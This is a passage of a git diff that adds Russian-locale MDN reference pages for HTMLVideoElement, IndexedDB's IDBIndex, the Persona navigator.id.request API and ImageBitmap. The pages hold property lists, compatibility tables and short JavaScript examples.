+ <li>Устаревшие или нестандартные HTML элементы реализующие этот интерфейс: {{HTMLElement("bgsound")}}, {{HTMLElement("blink")}}, {{HTMLElement("isindex")}}, {{HTMLElement("multicol")}}, {{HTMLElement("nextid")}}, {{HTMLElement("rb")}}, {{HTMLElement("spacer")}}</li>
+</ul>
diff --git a/files/ru/web/api/htmlvideoelement/index.html b/files/ru/web/api/htmlvideoelement/index.html
new file mode 100644
index 0000000000..b474d0423b
--- /dev/null
+++ b/files/ru/web/api/htmlvideoelement/index.html
@@ -0,0 +1,192 @@
+---
+title: HTMLVideoElement
+slug: Web/API/HTMLVideoElement
+translation_of: Web/API/HTMLVideoElement
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+
+<p><strong><code>HTMLVideoElement</code></strong> интерфейс предоставляет специальные свойства и методы для манипулирования видео объектов. Он также наследует свойства и методы {{domxref("HTMLMediaElement")}} и {{domxref("HTMLElement")}}.</p>
+
+<p>Список <a href="/ru-RU/docs/Web/HTML/Поддерживаемые_медиа_форматы" title="поддерживаемые форматы медиа">поддерживаемых форматов медиа</a> варьируются из одного браузера в другой. Вы должны либо предоставить ваше видео в одном формате которые поддерживаются всеми актуальными браузерами, или предоставить множественные источники видео в достаточно разных форматах чтобы все браузеры которые вам нужны поддерживали их.</p>
+
+<p>{{InheritanceDiagram(600, 140)}}</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Inherits properties from its parent, </em><em>{{domxref("HTMLMediaElement")}}, and </em><em>{{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLVideoElement.height")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("height", "video")}} HTML attribute, which specifies the height of the display area, in CSS pixels.</dd>
+ <dt>{{domxref("HTMLVideoElement.poster")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("poster", "video")}} HTML attribute, which specifies an image to show while no video data is available.</dd>
+ <dt>{{domxref("HTMLVideoElement.videoHeight")}} {{readonlyInline}}</dt>
+ <dd>Returns an <code>unsigned long</code> containing the intrinsic height of the resource in CSS pixels, taking into account the dimensions, aspect ratio, clean aperture, resolution, and so forth, as defined for the format used by the resource. If the element's ready state is <code>HAVE_NOTHING</code>, the value is <code>0</code>.</dd>
+ <dt>{{domxref("HTMLVideoElement.videoWidth")}} {{readonlyInline}}</dt>
+ <dd>Returns an <code>unsigned long</code> containing the intrinsic width of the resource in CSS pixels, taking into account the dimensions, aspect ratio, clean aperture, resolution, and so forth, as defined for the format used by the resource. If the element's ready state is <code>HAVE_NOTHING</code>, the value is <code>0</code>.</dd>
+ <dt>{{domxref("HTMLVideoElement.width")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("width", "video")}} HTML attribute, which specifies the width of the display area, in CSS pixels.</dd>
+</dl>
+
+<h3 id="Gecko-специфичные_свойства">Gecko-специфичные свойства</h3>
+
+<dl>
+ <dt>{{domxref("HTMLVideoElement.mozParsedFrames")}} {{readonlyInline}}{{non-standard_inline}}</dt>
+ <dd>Returns an <code>unsigned long</code> with the count of video frames that have been parsed from the media resource.</dd>
+ <dt>{{domxref("HTMLVideoElement.mozDecodedFrames")}} {{readonlyInline}}{{non-standard_inline}}</dt>
+ <dd>Returns an <code>unsigned long</code> with the count of parsed video frames that have been decoded into images.</dd>
+ <dt>{{domxref("HTMLVideoElement.mozPresentedFrames")}} {{readonlyInline}}{{non-standard_inline}}</dt>
+ <dd>Returns an <code>unsigned long</code> with the count of decoded frames that have been presented to the rendering pipeline for painting.</dd>
+ <dt>{{domxref("HTMLVideoElement.mozPaintedFrames")}} {{readonlyInline}}{{non-standard_inline}}</dt>
+ <dd>Returns an <code>unsigned long</code> with the count of presented frames which were painted on the screen.</dd>
+ <dt>{{domxref("HTMLVideoElement.mozFrameDelay")}} {{readonlyInline}}{{non-standard_inline}}</dt>
+ <dd>Returns an <code>double</code> with the time which the last painted video frame was late by, in seconds.</dd>
+ <dt>{{domxref("HTMLVideoElement.mozHasAudio")}} {{readonlyInline}}{{non-standard_inline}}</dt>
+ <dd>Returns a {{domxref("Boolean")}} indicating if there is some audio associated with the video.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Inherits methods from its parent, </em><em>{{domxref("HTMLMediaElement")}}, and </em><em>{{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLVideoElement.getVideoPlaybackQuality()")}} {{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("VideoPlaybackQuality")}} objects that contains the current playback metrics.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Source Extensions', '#idl-def-HTMLVideoElement', 'Extensions to HTMLVideoElement')}}</td>
+   <td>{{Spec2("Media Source Extensions")}}</td>
+   <td>Added the <code>getVideoPlaybackQuality()</code> method.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "the-video-element.html#the-video-element", "HTMLAreaElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName('HTML5 W3C')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#the-video-element", "HTMLAreaElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>9.0</td>
+   <td>10.50</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>mozParsedFrames mozDecodedFrames mozPresentedFrames mozPaintedFrames mozFrameDelay</code> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("5.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>mozHasAudio</code> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoDesktop("15.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>getVideoPlaybackQuality()</code>{{experimental_inline}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("25.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>mozParsedFrames mozDecodedFrames mozPresentedFrames mozPaintedFrames mozFrameDelay</code> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("5.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>mozHasAudio</code> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("15.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>getVideoPlaybackQuality()</code>{{experimental_inline}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile("25.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Gecko implements this behind the <code>media.mediasource.enabled</code> preference, defaulting to <code>false</code>.</p>
+
+<h2 id="См.также">См.также</h2>
+
+<ul>
+ <li>HTML element implementing this interface: {{HTMLElement("video")}}.</li>
+ <li><a class="external" href="http://people.mozilla.org/~cpearce/paint-stats-demo.html">Demo of video paint statistics</a></li>
+ <li><a href="/en-US/docs/HTML/Supported_media_formats">Supported media formats</a></li>
+</ul>
diff --git a/files/ru/web/api/idbindex/index.html b/files/ru/web/api/idbindex/index.html
new file mode 100644
index 0000000000..96a9337966
--- /dev/null
+++ b/files/ru/web/api/idbindex/index.html
@@ -0,0 +1,139 @@
+---
+title: IDBIndex
+slug: Web/API/IDBIndex
+tags:
+  - API
+  - Database
+  - IDBIndex
+  - IndexedDB
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - Storage
+  - TopicStub
+translation_of: Web/API/IDBIndex
+---
+<p>{{APIRef("IndexedDB")}}</p>
+
+<p><span class="seoSummary"><code>IDBIndex</code> interface of the <a href="/en/IndexedDB" title="en/IndexedDB">IndexedDB API</a> provides asynchronous access to an <a href="/en/IndexedDB/Basic_Concepts_Behind_IndexedDB#gloss_index" title="en/IndexedDB/Basic_Concepts_Behind_IndexedDB#gloss_index">index</a> in a database. An index is a kind of object store for looking up records in another object store, called the referenced object store. You use this interface to retrieve data.</span></p>
+
+<p>You can retrieve records in an object store through the primary key or by using an index. An index lets you look up records in an object store using properties of the values in the object stores records other than the primary key</p>
+
+<p>The index is a persistent key-value storage where the value part of its records is the key part of a record in the referenced object store. The records in an index are automatically populated whenever records in the referenced object store are inserted, updated, or deleted. Each record in an index can point to only one record in its referenced object store, but several indexes can reference the same object store. When the object store changes, all indexes that refers to the object store are automatically updated.</p>
+
+<p><span style="line-height: 1.5;">You can grab a set of keys within a range. To learn more, see {{domxref("IDBKeyRange")}}.</span></p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("IDBIndex.isAutoLocale")}} {{readonlyInline}} {{ Non-Standard_inline() }}</dt>
+ <dd>Returns a {{domxref("Boolean")}} indicating whether the index had a <code>locale</code> value of <code>auto</code> specified upon its creation (see <a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBObjectStore/createIndex#Parameters"><code>createIndex()</code>'s optionalParameters</a>.)</dd>
+ <dt>{{domxref("IDBIndex.locale")}} {{readonlyInline}} {{ Non-Standard_inline() }}</dt>
+ <dd>Returns the locale of the index (for example <code>en-US</code>, or <code>pl</code>) if it had a <code>locale</code> value specified upon its creation (see <a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBObjectStore/createIndex#Parameters"><code>createIndex()</code>'s optionalParameters</a>.)</dd>
+ <dt>{{domxref("IDBIndex.name")}}</dt>
+ <dd>The name of this index.</dd>
+ <dt>{{domxref("IDBIndex.objectStore")}} {{readonlyInline}}</dt>
+ <dd>The name of the object store referenced by this index.</dd>
+ <dt>{{domxref("IDBIndex.keyPath")}} {{readonlyInline}}</dt>
+ <dd>The <a href="/en/IndexedDB#gloss_key_path" title="en/IndexedDB#gloss key path">key path</a> of this index. If null, this index is not <a href="/en/IndexedDB/Index#gloss_auto-populated" title="en/IndexedDB/Index#gloss auto-populated">auto-populated</a>.</dd>
+ <dt>{{domxref("IDBIndex.multiEntry")}} {{readonlyInline}}</dt>
+ <dd>Affects how the index behaves when the result of evaluating the index's key path yields an array. If <code>true</code>, there is one record in the index for each item in an array of keys. If <code>false</code>, then there is one record for each key that is an array.</dd>
+ <dt>{{domxref("IDBIndex.unique")}} {{readonlyInline}}</dt>
+ <dd>If <code>true</code>, this index does not allow duplicate values for a key.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p>Inherits from: <a href="/en/DOM/EventTarget" title="en/DOM/EventTarget">EventTarget</a></p>
+
+<dl>
+ <dt>{{domxref("IDBIndex.count()")}}</dt>
+ <dd>Returns an {{domxref("IDBRequest")}} object, and in a separate thread, returns the number of records within a key range.</dd>
+ <dt>{{domxref("IDBIndex.get()")}}</dt>
+ <dd>Returns an {{domxref("IDBRequest")}} object, and, in a separate thread, finds either the value in the referenced object store that corresponds to the given key or the first corresponding value, if <code>key</code> is an {{domxref("IDBKeyRange")}}.</dd>
+ <dt>{{domxref("IDBIndex.getKey()")}}</dt>
+ <dd>Returns an {{domxref("IDBRequest")}} object, and, in a separate thread, finds either the given key or the primary key, if <code>key</code> is an {{domxref("IDBKeyRange")}}.</dd>
+ <dt>{{domxref("IDBIndex.getAll()")}}</dt>
+ <dd>Returns an {{domxref("IDBRequest")}} object, in a separate thread, finds all matching values in the referenced object store that correspond to the given key or are in range, if <code>key</code> is an {{domxref("IDBKeyRange")}}.</dd>
+ <dt>{{domxref("IDBIndex.getAllKeys()")}}</dt>
+ <dd>Returns an {{domxref("IDBRequest")}} object, in a separate thread, finds all matching keys in the referenced object store that correspond to the given key or are in range, if <code>key</code> is an {{domxref("IDBKeyRange")}}.</dd>
+ <dt>{{domxref("IDBIndex.openCursor()")}}</dt>
+ <dd>Returns an {{domxref("IDBRequest")}} object, and, in a separate thread, creates a <a href="/en/IndexedDB#gloss_cursor" title="en/IndexedDB#gloss cursor">cursor</a> over the specified key range.</dd>
+ <dt>{{domxref("IDBIndex.openKeyCursor()")}}</dt>
+ <dd>Returns an {{domxref("IDBRequest")}} object, and, in a separate thread, creates a cursor over the specified key range, as arranged by this index.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>In the following example we open a transaction and an object store, then get the index <code>lName</code> from a simple contacts database. We then open a basic cursor on the index using {{domxref("IDBIndex.openCursor")}} — this works the same as opening a cursor directly on an <code>ObjectStore</code> using {{domxref("IDBObjectStore.openCursor")}} except that the returned records are sorted based on the index, not the primary key.</p>
+
+<p>Finally, we iterate through each record, and insert the data into an HTML table. For a complete working example, see our <a href="https://mdn.github.io/indexeddb-examples/idbindex/">IDBIndex-example demo repo</a> (<a href="https://github.com/mdn/indexeddb-examples/tree/master/idbindex">View the example live</a>.)</p>
+
+<pre class="brush: js" style="font-size: 14px;">function displayDataByIndex() {
+  tableEntry.innerHTML = '';
+  var transaction = db.transaction(['contactsList'], 'readonly');
+  var objectStore = transaction.objectStore('contactsList');
+
+  var myIndex = objectStore.index('lName');
+  myIndex.openCursor().onsuccess = function(event) {
+    var cursor = event.target.result;
+    if(cursor) {
+      var tableRow = document.createElement('tr');
+      tableRow.innerHTML =   '&lt;td&gt;' + cursor.value.id + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.lName + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.fName + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.jTitle + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.company + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.eMail + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.phone + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.age + '&lt;/td&gt;';
+      tableEntry.appendChild(tableRow);
+
+      cursor.continue();
+    } else {
+      console.log('Entries all displayed.');
+    }
+  };
+};</pre>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#idl-def-IDBIndex', 'IDBIndex')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("IndexedDB 2", "#index-interface", "IDBIndex")}}</td>
+   <td>{{Spec2("IndexedDB 2")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.IDBIndex")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB">Using IndexedDB</a></li>
+ <li>Starting transactions: {{domxref("IDBDatabase")}}</li>
+ <li>Using transactions: {{domxref("IDBTransaction")}}</li>
+ <li>Setting a range of keys: {{domxref("IDBKeyRange")}}</li>
+ <li>Retrieving and making changes to your data: {{domxref("IDBObjectStore")}}</li>
+ <li>Using cursors: {{domxref("IDBCursor")}}</li>
+ <li>Reference example: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">view example live</a>.)</li>
+</ul>
diff --git a/files/ru/web/api/idbindex/locale/index.html b/files/ru/web/api/idbindex/locale/index.html
new file mode 100644
index 0000000000..943e5a1ffe
--- /dev/null
+++ b/files/ru/web/api/idbindex/locale/index.html
@@ -0,0 +1,76 @@
+---
+title: IDBIndex.locale
+slug: Web/API/IDBIndex/locale
+translation_of: Web/API/IDBIndex/locale
+---
+<div>{{APIRef("IndexedDB")}}{{SeeCompatTable}}</div>
+
+<p>The <strong><code>locale</code></strong> read-only property of the {{domxref("IDBIndex")}} interface returns the locale of the index (for example <code>en-US</code>, or <code>pl</code>) if it had a <code>locale</code> value specified upon its creation (see <a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBObjectStore/createIndex#Parameters"><code>createIndex()</code>'s optionalParameters</a>.) Note that this property always returns the current locale being used in this index, in other words, it never returns <code>"auto"</code>.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js">var myIndex = objectStore.index('index');
+console.log(myIndex.locale);</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>A {{domxref("DOMString")}}.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>In the following example we open a transaction and an object store, then get the index <code>lName</code> from a simple contacts database. We then open a basic cursor on the index using {{domxref("IDBIndex.openCursor")}} — this works the same as opening a cursor directly on an <code>ObjectStore</code> using {{domxref("IDBObjectStore.openCursor")}} except that the returned records are sorted based on the index, not the primary key.</p>
+
+<p>The <code>locale</code> value is logged to the console.</p>
+
+<pre class="brush:js">function displayDataByIndex() {
+  tableEntry.innerHTML = '';
+  var transaction = db.transaction(['contactsList'], 'readonly');
+  var objectStore = transaction.objectStore('contactsList');
+
+  var myIndex = objectStore.index('lName');
+  console.log(myIndex.locale);
+
+  myIndex.openCursor().onsuccess = function(event) {
+    var cursor = event.target.result;
+    if(cursor) {
+      var tableRow = document.createElement('tr');
+      tableRow.innerHTML =   '&lt;td&gt;' + cursor.value.id + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.lName + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.fName + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.jTitle + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.company + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.eMail + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.phone + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.age + '&lt;/td&gt;';
+      tableEntry.appendChild(tableRow);
+
+      cursor.continue();
+    } else {
+      console.log('Entries all displayed.');
+    }
+  };
+};</pre>
+
+<h2 id="Specification">Specification</h2>
+
+<p>Not currently part of any specification.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.IDBIndex.locale")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB">Using IndexedDB</a></li>
+ <li>Starting transactions: {{domxref("IDBDatabase")}}</li>
+ <li>Using transactions: {{domxref("IDBTransaction")}}</li>
+ <li>Setting a range of keys: {{domxref("IDBKeyRange")}}</li>
+ <li>Retrieving and making changes to your data: {{domxref("IDBObjectStore")}}</li>
+ <li>Using cursors: {{domxref("IDBCursor")}}</li>
+ <li>Reference example: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">view example live</a>.)</li>
+</ul>
diff --git a/files/ru/web/api/identitymanager/index.html b/files/ru/web/api/identitymanager/index.html
new file mode 100644
index 0000000000..01b4a96364
--- /dev/null
+++ b/files/ru/web/api/identitymanager/index.html
@@ -0,0 +1,47 @@
+---
+title: IdentityManager
+slug: Web/API/IdentityManager
+tags:
+  - API
+  - Persona
+  - Reference
+translation_of: Archive/IdentityManager
+---
+<p>{{APIRef("Persona")}}{{non-standard_header}}</p>
+
+<p>The <strong><code>IdentityManager</code></strong> of the  <a href="/en-US/docs/Persona" title="BrowserID">BrowserID protocol</a> exposes the BrowserID API, via {{domxref("navigator.id")}}. This API has gone through several significant revisions. Each generation is listed separately below.</p>
+
+<h2 id="ObserverMethods" name="ObserverMethods">The "Observer" API (Current)</h2>
+
+<p>The Observer API introduces much-requested features, such as an improved post-verification experience for first-time users, automatic persistent logins, and easier integration with native applications.</p>
+
+<dl>
+ <dt>{{ domxref("IdentityManager.watch()")}}</dt>
+ <dd>Registers callbacks to be invoked when a user logs into or out of a website.</dd>
+ <dt>{{ domxref("IdentityManager.request()")}}</dt>
+ <dd>Requests a signed identity assertion from the user.</dd>
+ <dt>{{ domxref("IdentityManager.logout()")}}</dt>
+ <dd>Logs the user out of a website and prevents the <code>onlogin</code> action from automatically firing on their next visit.</dd>
+</dl>
+
+<div class="note">
+<p>Users with third-party cookies disabled may experience problems logging in using the Observer API as detailed in <a href="https://github.com/mozilla/browserid/issues/2999" title="https://github.com/mozilla/browserid/issues/2999">issue 2999</a>.</p>
+</div>
+
+<h2 id="CallbackMethods" name="CallbackMethods">The "Callback" API (Current)</h2>
+
+<p>The Callback API was introduced in November 2011. It improved upon the initial API by allowing options to be passed to <code>navigator.id.get()</code> and offering experimental support for BrowserID-managed persistent sessions.</p>
+
+<dl>
+ <dt>{{ domxref("IdentityManager.get()")}}</dt>
+ <dd>Gets the user's BrowserID in a signed assertion.</dd>
+</dl>
+
+<h2 id="VerifiedEmailMethods" name="VerifiedEmailMethods">The "VerifiedEmail" API (Deprecated)</h2>
+
+<p>The VerifiedEmail API was BrowserID's first API. It was deprecated at the end of 2011.</p>
+
+<dl>
+ <dt>{{ domxref("IdentityManager.getVerifiedEmail()")}} {{ deprecated_inline() }}</dt>
+ <dd>Gets the user's BrowserID in a signed assertion. This method is deprecated; {{ domxref("navigator.id.get()")}} is backwards compatible and can be used instead.</dd>
+</dl>
diff --git a/files/ru/web/api/identitymanager/request/index.html b/files/ru/web/api/identitymanager/request/index.html
new file mode 100644
index 0000000000..2923f0a359
--- /dev/null
+++ b/files/ru/web/api/identitymanager/request/index.html
@@ -0,0 +1,88 @@
+---
+title: navigator.id.request
+slug: Web/API/IdentityManager/request
+tags:
+  - API
+  - BrowserID
+  - DOM
+  - Persona
+  - Безопасность
+  - Использование
+  - Настройка
+  - Справка
+  - запрос
+  - метод
+  - не стандартный
+  - справка DOM
+  - справка Gecko DOM
+translation_of: Archive/IdentityManager/request
+---
+<div>{{ ApiRef }}</div>
+
+<h2 id="Summary" name="Summary">Кратко</h2>
+
+<p>Эта функция позволяет использовать <a href="/en-US/docs/Persona" title="BrowserID">Persona</a> для аутентификации пользователей на вебсайте. Она должна вызываться внутри обработки щелчка мыши, к примеру, вы должны вызвать её, когда пользователь щелкнул по кнопке «Войти с помощью Persona».</p>
+
+<p>Когда функция <code>navigator.id.request()</code> вызвана она попросит пользователя выбрать адрес электронной почты, который он желает использовать для входа, а также попросит пройти процедуру аутентификации у поставщика услуг (электронной почты, <em>прим. переводчика</em>), если срок сертификата пользователя истёк. После этого, она создаёт подписанную <strong>заявку</strong> (assertion), содержащую адрес эл.почты пользователя и передаёт эту заявку функции <code>onlogin</code>, зарегистрированной с помощью {{domxref("navigator.id.watch()")}}.</p>
+
+<p>Эта функция должна использоваться <strong>обязательно</strong> в связке с  {{domxref("navigator.id.watch()")}}<code>.</code></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">navigator.id.request();
+navigator.id.request({siteName: 'Название сайта', siteLogo: '/logo.png'});
+navigator.id.request({termsOfService: '/tos.html', privacyPolicy: '/privacy.html'});
+</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>backgroundColor</code> {{ optional_inline() }}</dt>
+ <dd>Шестнадцатеричный код цвета для фона диалогового окна. Формат: <code>"#rgb"</code> или <code>"#rrggbb"</code>.</dd>
+ <dt><code>oncancel</code> {{ optional_inline() }}</dt>
+ <dd>Функция, которую следует вызвать в случае отказа пользователя предоставить свой идентификатор сайту.</dd>
+ <dt><code>privacyPolicy</code> {{ optional_inline() }}</dt>
+ <dd><em>Должен передаваться по SSL. Так же должен быть передан параметр <code>termsOfService </code>(Условия Предоставления Услуг).</em></dd>
+ <dd>Абсолютный путь или URL до описания политики конфиденциальности веб-сайта. Если этот параметр предоставлен, тогда так же должен быть предоставлен параметр <code>termsOfService</code>. Когда оба эти параметра (<code>termsOfService</code> и <code>privacyPolicy</code>) переданы диалоговое окно входа будет содержать предупреждение для пользователя: "продолжив вход, вы соглашаетесь с политиками использования и конфиденциальности сайта". Так же в диалоговом окне будут размещены ссылки на описания этих политик.</dd>
+ <dt><code>returnTo</code> {{ optional_inline() }}</dt>
+ <dd>Абсолютный путь на который будут отправлены новые пользователи, закончившие процедуру проверки эл.почты в первый раз. Путь должен начинаться с '<code>/</code>'. Этот параметр действует только на тех пользователей, которые проходят сертификацию через запсную Службу Предоставления Идентификаторов от Mozilla <em>(Mozilla's Identity Provider, - прим.)</em>. Предоставляемое значение должно указывать реально существующий путь, который может быть использован так же в качестве локации окна – window.location.</dd>
+ <dt><code>siteLogo</code> {{ optional_inline() }}</dt>
+ <dd><em>Должен передаваться по SSL.</em></dd>
+ <dd>Абсолютный путь до изображения, которое будет отображаться в диалоговом окне входа. Путь должен начинаться с '<code>/</code>'. Изображения, превышающие размер 100x100 пикселей будут маштабированы до этого размера.</dd>
+ <dt><code>siteName</code> {{ optional_inline() }}</dt>
+ <dd>Название вашего сайта, которое будет отображаться в диалоговом окне входа в формате простого текста <em>(plain text - прим.)</em>. Допустимы символы Юникода и пробельные символы, но не разметка.</dd>
+ <dt><code>termsOfService</code> {{ optional_inline() }}</dt>
+ <dd><em>Должен передаваться по SSL. Так же должен быть предоставлен параметр <code>privacyPolicy</code></em> <em>(Политика Конфиденциальности).</em></dd>
+ <dd>Абсолютный путь или URL адрес до описания условий предоставления услуг веб-сайта. Если этот параметр указан, тогда так же должен быть указан параметр <code>privacyPolicy</code>.  Когда оба эти параметра (<code>termsOfService</code> и <code>privacyPolicy</code>) переданы диалоговое окно входа будет содержать предупреждение для пользователя: "продолжив вход, вы соглашаетесь с политиками использования и конфиденциальности сайта". Так же в диалоговом окне будут размещены ссылки на описания этих политик.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js;">var signinLink = document.getElementById('signin');
+
+if (signinLink) {
+  signinLink.onclick = function(evt) {
+    // Запрашивает подписанную идентификационную заявку от пользователя.
+    navigator.id.request({
+      siteName: 'Мой Сайт',
+      siteLogo: '/logo.png',
+      termsOfService: '/tos.html',
+      privacyPolicy: '/privacy.html',
+      returnTo: '/welcome.html',
+      oncancel: function() { alert('Пользователь отказался идентифицироваться.'); }
+    });
+  };
+}</pre>
+
+<h2 id="Specification" name="Specification">Технические описания (Спецификации)</h2>
+
+<p>Не включена ни в одно техническое описание.</p>
+
+<h2 id="See_also" name="See_also">Также смотрите</h2>
+
+<ul>
+ <li><a href="/ru/Persona" title="BrowserID">BrowserID</a></li>
+ <li>{{domxref("navigator.id")}}</li>
+ <li>{{domxref("navigator.id.watch()")}}</li>
+ <li>{{domxref("navigator.id.logout()")}}</li>
+</ul>
diff --git a/files/ru/web/api/imagebitmap/index.html b/files/ru/web/api/imagebitmap/index.html
new file mode 100644
index 0000000000..6d5802b4ed
--- /dev/null
+++ b/files/ru/web/api/imagebitmap/index.html
@@ -0,0 +1,68 @@
+---
+title: ImageBitmap
+slug: Web/API/ImageBitmap
+tags:
+  - API
+  - Canvas
+  - ImageBitmap
+  - Interface
+  - Reference
+  - Интерфейс
+  - Ссылка
+translation_of: Web/API/ImageBitmap
+---
+<div>{{APIRef("Canvas API")}}</div>
+
+<p>Интерфейс <code><strong>ImageBitmap</strong></code> представляет собой bitmap изображение которое может быть нарисовано на {{HTMLElement("canvas")}} без чрезмерной задержки. Создать его можно несколькими способами используя {{domxref("ImageBitmapFactories.createImageBitmap", "createImageBitmap()")}}. <code>ImageBitmap</code> предоставляет асинхронный и ресурсоэффективный метод подготовки текстур для рендеринга в WebGL.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
